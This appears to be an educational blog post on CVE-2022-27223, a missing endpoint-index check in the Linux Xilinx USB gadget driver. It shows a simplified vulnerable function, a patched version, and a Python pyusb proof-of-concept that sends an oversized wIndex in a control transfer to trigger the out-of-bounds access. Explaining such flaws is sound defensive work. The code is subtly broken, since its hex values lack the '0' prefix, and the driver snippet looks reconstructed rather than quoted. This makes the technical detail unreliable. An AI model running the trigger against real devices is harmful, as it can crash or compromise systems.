The Linux kernel is known for its robustness and security. However, as with any large codebase, vulnerabilities still appear—even in crucial drivers handling USB device controller (UDC) functionalities. One such issue is CVE-2022-27223, which affects the Xilinx UDC (usb device controller) driver in Linux kernels prior to 5.16.12. In this post, we’ll break down how the bug works, see parts of the code, and step methodically through how it can be exploited by an attacker.

What Is CVE-2022-27223?

CVE-2022-27223 uncovers an out-of-bounds access caused by missing validation of the endpoint index in drivers/usb/gadget/udc/udc-xilinx.c. The endpoint index is basically a reference to different communication channels (endpoints) of the USB device. If the host (the system the USB device is plugged into) sends data with a specially crafted index, it could force the driver code to access areas of memory it shouldn’t—leading to crashes or even potential code execution.

The vulnerability was patched in Linux kernel 5.16.12. Any version before this is considered vulnerable.

References

- MITRE CVE entry
- NVD entry
- Patch in mainline kernel

Here’s a simplified snippet of the vulnerable code from drivers/usb/gadget/udc/udc-xilinx.c

// Vulnerable code:
void xudc_ep_setup(struct xudc *udc, unsigned int ep_index, ...)
{
    struct xudc_ep *ep;

    // No check on ep_index!
    ep = &udc->eps[ep_index]; // <-- Out-of-bounds risk!
    
    // ...rest of the setup code
}

The function above gets an ep_index parameter. This index is then directly used to reference udc->eps[ep_index] (an array of endpoint structs) without any checks that it’s in valid range. If an attacker (host) sends a USB setup packet with a deliberately large endpoint index, the driver will happily reach into memory beyond the intended array.

Fixed code usually looks like this

// Patched code:
void xudc_ep_setup(struct xudc *udc, unsigned int ep_index, ...)
{
    struct xudc_ep *ep;

    if (ep_index >= XUDC_MAX_ENDPOINTS) {
        dev_err(udc->dev, "invalid endpoint index %u\n", ep_index);
        return;
    }
    ep = &udc->eps[ep_index];

    // ...rest of the setup code
}

Here, XUDC_MAX_ENDPOINTS represents the maximum allowed endpoints—protecting from out-of-bounds access.

The attacker sends USB packets containing an endpoint index much higher than the valid array size.

Achieve Information Leak, Crash, or Even Code Execution

With additional precision, this could escalate to code execution—especially with other kernel exploits chained.

Proof-of-Concept (PoC)

Here's a _simple illustration_ of an exploit using LUSB (a USB fuzzer) logic. Assume we are able to send crafted packets over the USB bus:

# This is not a ready-to-fire exploit, but a proof-of-concept for how the bug could be triggered

import usb.core

# Find the device (update with your device's Vendor & Product ID)
dev = usb.core.find(idVendor=x1234, idProduct=x5678)
if not dev:
    raise ValueError('Device not found')

# Here we send a control transfer targeting a wild endpoint index
# bmRequestType, bRequest, wValue, wIndex (EP index), data_or_wLength

BAD_EP_INDEX = x100  # Intentionally large

try:
    dev.ctrl_transfer(
        bmRequestType=x21,  # Host-to-device, type=class, recipient=interface
        bRequest=x01,       # Custom request
        wValue=x000,
        wIndex=BAD_EP_INDEX,
        data_or_wLength=b'\x00'*8,
        timeout=100
    )
    print("Payload sent!")
except Exception as e:
    print(f"Transfer failed: {e}")

Note: This code targets educational use and should only be used on your own hardware in controlled conditions!

Privilege Escalation: Potent chain for full system compromise if combined with other flaws.

USB gadgets are used in all sorts of devices: IoT, embedded controllers, and even developer boards. An malicious host with a special USB packet could compromise your product.

Conclusions

CVE-2022-27223 is a classic example of how skipping basic input validation can introduce dangerous vulnerabilities, even at the heart of a system component like the kernel USB driver. The lesson for kernel and embedded developers: Always validate user- or host-controlled input, especially when it becomes an array index.

Further Reading

- The Patch Commit
- CVE-2022-27223 on MITRE
- Linux UDC Driver Documentation
- Practical USB Fuzzing

Stay safe, and remember—never trust any input!

*Written for educational purposes exclusively. Please use responsibly and always disclose bugs privately to affected vendors.*

Timeline

Published on: 03/16/2022 00:15:00 UTC
Last modified on: 07/01/2022 14:15:00 UTC